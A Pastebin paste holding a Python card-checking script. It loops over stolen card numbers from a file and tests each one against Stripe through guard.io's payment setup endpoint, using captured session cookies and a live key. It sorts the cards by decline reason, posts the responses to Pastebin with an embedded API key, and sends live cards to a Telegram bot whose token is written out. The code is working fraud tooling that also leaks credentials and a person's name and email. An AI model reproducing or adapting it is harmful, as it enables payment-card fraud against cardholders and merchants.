aakash2310

Untitled

Jul 10th, 2023
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.86 KB | None | 0 0
  1. import requests
  2. import json
  3. import os
  4. from datetime import datetime
  5.  
  6. headers = {
  7. 'authority':
  8. 'api.stripe.com',
  9. 'accept':
  10. 'application/json',
  11. 'accept-language':
  12. 'en-US,en;q=0.9',
  13. 'content-type':
  14. 'application/x-www-form-urlencoded',
  15. 'origin':
  16. 'https://js.stripe.com',
  17. 'referer':
  18. 'https://js.stripe.com/',
  19. 'sec-ch-ua':
  20. '"Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"',
  21. 'sec-ch-ua-mobile':
  22. '?0',
  23. 'sec-ch-ua-platform':
  24. '"Windows"',
  25. 'sec-fetch-dest':
  26. 'empty',
  27. 'sec-fetch-mode':
  28. 'cors',
  29. 'sec-fetch-site':
  30. 'same-site',
  31. 'user-agent':
  32. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
  33. }
  34.  
  35. cookies2 = {
  36. 'uid':
  37. 'uid_BiDRJmbaPGpAZkcrzemixkxXwxGRs8sG',
  38. 'uid_cross':
  39. 'uid_BiDRJmbaPGpAZkcrzemixkxXwxGRs8sG',
  40. 'salt':
  41. 'salt_37cNkanUTQKzPoSGC6DN6W3et6LBG5p',
  42. 'mid':
  43. 'sid_AXFbEdoAGdFUKXnn76NgtibsP7dsUL6g',
  44. 'utm_source':
  45. 'ytinflu_ntts',
  46. 'utm_source_cross':
  47. 'ytinflu_ntts',
  48. 'coupon_code':
  49. 'NTTS',
  50. 'ref':
  51. 'app_browsing_page_header',
  52. 'installed':
  53. '1',
  54. 'aid':
  55. 'aid_EaNm3274qhnxyqpFnBip5jGsB5H3A9PB',
  56. 'threat_variety':
  57. '2',
  58. '__stripe_mid':
  59. '5f211277-8a8c-4ff1-be32-9e24c7ec2bb60bc42a',
  60. '__zlcmid':
  61. '1Gilwt0BlTwLf2y',
  62. '__stripe_sid':
  63. 'c0a380ae-5d60-414b-90db-9a209770250b99026a',
  64. 'fid':
  65. 'fid_7f2Bhi8ZS5VyFKMwJb8i5tKbAZ4wZegn',
  66. '_dd_s':
  67. 'logs=1&id=b3b95493-9195-4e34-9721-b143b1bd70d9&created=1689000022535&expire=1689001098697',
  68. }
  69.  
  70. headers2 = {
  71. 'authority': 'guard.io',
  72. 'accept': '*/*',
  73. 'accept-language': 'en-US,en;q=0.9',
  74. # Already added when you pass json=
  75. # 'content-type': 'application/json',
  76. # 'cookie': 'uid=uid_BiDRJmbaPGpAZkcrzemixkxXwxGRs8sG; uid_cross=uid_BiDRJmbaPGpAZkcrzemixkxXwxGRs8sG; salt=salt_37cNkanUTQKzPoSGC6DN6W3et6LBG5p; mid=sid_JGhvZacQkswpMDWM8hcuYeboqmGZdmaQ; utm_source=ytinflu_ntts; utm_source_cross=ytinflu_ntts; coupon_code=NTTS; ref=nt; installed=1; aid=aid_AgKvEN5Qiq29sDcv8sPpAaPgBRvacXza; threat_variety=1; __stripe_mid=5f211277-8a8c-4ff1-be32-9e24c7ec2bb60bc42a; __zlcmid=1Gilwt0BlTwLf2y; __stripe_sid=706a3dcb-c171-4e2e-a926-e5f295aeb26c7b4ebc; fid=fid_bkDqebdyrubhr2a7PZRFtEX7kaoogNjM; _dd_s=logs=1&id=6b6c0f5b-6f29-4a8c-83c5-7f56d4bfbead&created=1688609970514&expire=1688611562581',
  77. 'origin': 'https://guard.io',
  78. 'referer': 'https://guard.io/activation/payment/premium',
  79. 'sec-ch-ua':
  80. '"Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"',
  81. 'sec-ch-ua-mobile': '?0',
  82. 'sec-ch-ua-platform': '"Windows"',
  83. 'sec-fetch-dest': 'empty',
  84. 'sec-fetch-mode': 'cors',
  85. 'sec-fetch-site': 'same-origin',
  86. 'user-agent':
  87. 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36',
  88. 'x-guardio-id': 'gjfpmkejnolcfklaaddjnckanhhgegla',
  89. 'x-guardio-version': '23.3.27.838',
  90. }
  91.  
  92. json_data2 = {}
  93.  
  94. card_entries = {
  95. 'generic_declined': [],
  96. 'live_incorrect_cvv': [],
  97. 'not_supported': [],
  98. 'incorrect_number': [],
  99. 'invalid_account': [],
  100. 'dead_setup_intent': [],
  101. 'expired_card': [],
  102. 'cvv_otp_need': [],
  103. 'other': []
  104. }
  105.  
  106.  
  107. def save_response_on_pastebin(response):
  108. api_url = "https://pastebin.com/api/api_post.php"
  109. api_dev_key = "wGQOUEoT4ISTyYUQPGOQVzw2QgULA6uL"
  110.  
  111. payload = {
  112. 'api_dev_key': api_dev_key,
  113. 'api_option': 'paste',
  114. 'api_paste_code': response
  115. }
  116.  
  117. response = requests.post(api_url, data=payload)
  118. if response.status_code == 200:
  119. return response.text.strip()
  120. else:
  121. return None
  122.  
  123.  
  124. class colors:
  125. LGREEN = '\033[38;2;129;199;116m'
  126. LRED = '\033[38;2;239;83;80m'
  127. RESET = '\u001B[0m'
  128. LXC = '\033[38;2;255;152;0m'
  129. GREY = '\033[38;2;158;158;158m'
  130. YELLOW = '\033[38;2;255;255;0m'
  131. ORANGE = '\033[38;2;255;165;0m'
  132. PINK = '\033[38;2;255;192;203m'
  133.  
  134.  
  135. # Read card details from file
  136. with open('cards.txt', 'r') as file:
  137. cards = file.read().splitlines()
  138.  
  139. for card in cards:
  140. card_data = card.split('|')
  141. card_number = card_data[0]
  142. exp_month = card_data[1]
  143. exp_year = card_data[2]
  144. cvc = card_data[3]
  145.  
  146. response2 = requests.post('https://guard.io/v3/accounting/s/setup',
  147. cookies=cookies2,
  148. headers=headers2,
  149. json=json_data2)
  150.  
  151. response_json2 = json.loads(response2.text)
  152. client_secret = response_json2['client_secret']
  153. # print(client_secret)
  154.  
  155. client = client_secret.split('_secret')[0]
  156. # print(client)
  157.  
  158. data = f'payment_method_data[type]=card&payment_method_data[billing_details][name]=aaksh+mishra&payment_method_data[billing_details][email]=bca64sem1ddu%40gmail.com&payment_method_data[billing_details][address][postal_code]=10102&payment_method_data[card][number]={card_number}&payment_method_data[card][cvc]={cvc}&payment_method_data[card][exp_month]={exp_month}&payment_method_data[card][exp_year]={exp_year}&payment_method_data[guid]=48acf26c-e63e-489d-8193-844e9330e36ac68f9c&payment_method_data[muid]=5f211277-8a8c-4ff1-be32-9e24c7ec2bb60bc42a&payment_method_data[sid]=31e419db-d7ee-4079-ae4c-aab965c7036c90e45f&payment_method_data[payment_user_agent]=stripe.js%2Fa0dcebad62%3B+stripe-js-v3%2Fa0dcebad62%3B+card-element&payment_method_data[time_on_page]=488504&expected_payment_method_type=card&use_stripe_sdk=true&key=pk_live_WT2QTZ9HhJt0mvO0UKj9n8kj00KgFQwkeJ&client_secret={client_secret}'
  159.  
  160. response = requests.post(
  161. 'https://api.stripe.com/v1/setup_intents/' + str(client) + '/confirm',
  162. headers=headers,
  163. data=data,
  164. )
  165.  
  166. if '"message": "Your card does not support this type of purchase.",' in response.text:
  167. print(
  168. f'{colors.YELLOW}{card_number}|{exp_month}|{exp_year}|{cvc}| NOT SUPPORTED'
  169. )
  170. aa = save_response_on_pastebin(response.text)
  171. a = f'{card_number}|{exp_month}|{exp_year}|{cvc} > {aa}'
  172. card_entries['not_supported'].append(a)
  173. elif '"message": "Your card\'s security code is invalid.",' in response.text:
  174. print(
  175. f'{colors.YELLOW}{card_number}|{exp_month}|{exp_year}|{cvc}| CCN LIVE - INVALID CVV'
  176. )
  177. bb = save_response_on_pastebin(response.text)
  178. b = f'{card_number}|{exp_month}|{exp_year}|{cvc} > {bb}'
  179. card_entries['live_incorrect_cvv'].append(b)
  180. requests.get(
  181. f"""https://api.telegram.org/bot6000764395:AAE07247iBDp9Pit7NkKVKqMdwj8iTJRnMg/sendMessage?chat_id=749915431&text=> {card_number}|{exp_month}|{exp_year}|{cvc} live_incorrect_cvv&parse_mode=html"""
  182. )
  183. elif '"message": "Your card\'s security code is incorrect.",' in response.text:
  184. print(
  185. f'{colors.YELLOW}{card_number}|{exp_month}|{exp_year}|{cvc}| CCN LIVE - INCORRECT CVV'
  186. )
  187. cc = save_response_on_pastebin(response.text)
  188. c = f'{card_number}|{exp_month}|{exp_year}|{cvc} > {cc}'
  189. card_entries['live_incorrect_cvv'].append(c)
  190. requests.get(
  191. f"""https://api.telegram.org/bot6000764395:AAE07247iBDp9Pit7NkKVKqMdwj8iTJRnMg/sendMessage?chat_id=749915431&text=> {card_number}|{exp_month}|{exp_year}|{cvc} live_incorrect_cvv&parse_mode=html"""
  192. )
  193. elif '"message": "Invalid account.",' in response.text:
  194. print(
  195. f'{colors.LRED}{card_number}|{exp_month}|{exp_year}|{cvc}| INVALID ACCOUNT'
  196. )
  197. dd = save_response_on_pastebin(response.text)
  198. d = f'{card_number}|{exp_month}|{exp_year}|{cvc} > {dd}'
  199. card_entries['invalid_account'].append(d)
  200. elif '"message": "Your card was declined.",' in response.text:
  201. print(f'{colors.LRED}{card_number}|{exp_month}|{exp_year}|{cvc}| DECLINED')
  202. ee = save_response_on_pastebin(response.text)
  203. e = f'{card_number}|{exp_month}|{exp_year}|{cvc} > {ee}'
  204. card_entries['generic_declined'].append(e)
  205. elif '"certificate"' in response.text:
  206. print(
  207. f'{colors.LGREEN}{card_number}|{exp_month}|{exp_year}|{cvc}| CVV NEED OTP '
  208. )
  209. zz = save_response_on_pastebin(response.text)
  210. z = f'{card_number}|{exp_month}|{exp_year}|{cvc} > {zz}'
  211. card_entries['cvv_otp_need'].append(z)
  212. requests.get(
  213. f"""https://api.telegram.org/bot6000764395:AAE07247iBDp9Pit7NkKVKqMdwj8iTJRnMg/sendMessage?chat_id=749915431&text=> {card_number}|{exp_month}|{exp_year}|{cvc} LIVE CVV [ASKING OTP]&parse_mode=html"""
  214. )
  215. elif '"message": "Your card number is incorrect.",' in response.text:
  216. print(
  217. f'{colors.LRED}{card_number}|{exp_month}|{exp_year}|{cvc}| INCORECT CARD'
  218. )
  219. ff = save_response_on_pastebin(response.text)
  220. f = f'{card_number}|{exp_month}|{exp_year}|{cvc} > {ff}'
  221. card_entries['incorrect_number'].append(f)
  222. elif '"message": "Your card has expired.",' in response.text:
  223. print(
  224. f'{colors.LRED}{card_number}|{exp_month}|{exp_year}|{cvc}| EXPIRED CARD')
  225. gg = save_response_on_pastebin(response.text)
  226. g = f'{card_number}|{exp_month}|{exp_year}|{cvc} > {gg}'
  227. card_entries['expired_card'].append(g)
  228. else:
  229. print(
  230. f'{colors.LGREEN}{card_number}|{exp_month}|{exp_year}|{cvc}|{response.text} OTHER'
  231. )
  232. hh = save_response_on_pastebin(response.text)
  233. h = f'{card_number}|{exp_month}|{exp_year}|{cvc} > {hh}'
  234. card_entries['other'].append(h)
  235. requests.get(
  236. f"""https://api.telegram.org/bot6000764395:AAE07247iBDp9Pit7NkKVKqMdwj8iTJRnMg/sendMessage?chat_id=749915431&text=> {card_number}|{exp_month}|{exp_year}|{cvc} OTHER&parse_mode=html"""
  237. )
  238.  
  239. current_time = datetime.now().strftime("%d_%B")
  240. counter = 1
  241. file_path = f'hits_{current_time}.txt'
  242.  
  243. while os.path.exists(file_path):
  244. file_path = f'hits_{current_time}_{counter}.txt'
  245. counter += 1
  246.  
  247. with open(file_path, 'w') as file:
  248. for condition, entries in card_entries.items():
  249. file.write(
  250. f'================================= {condition.upper()} =================================\n\n'
  251. )
  252. if entries:
  253. for entry in entries:
  254. file.write(f'{entry}\n')
  255. else:
  256. file.write('\n')
  257. file.write('\n')
  258.  
  259. print(f"Card entries saved as '{file_path}' successfully.")
  260.  
Advertisement
Add Comment
Please, Sign In to add comment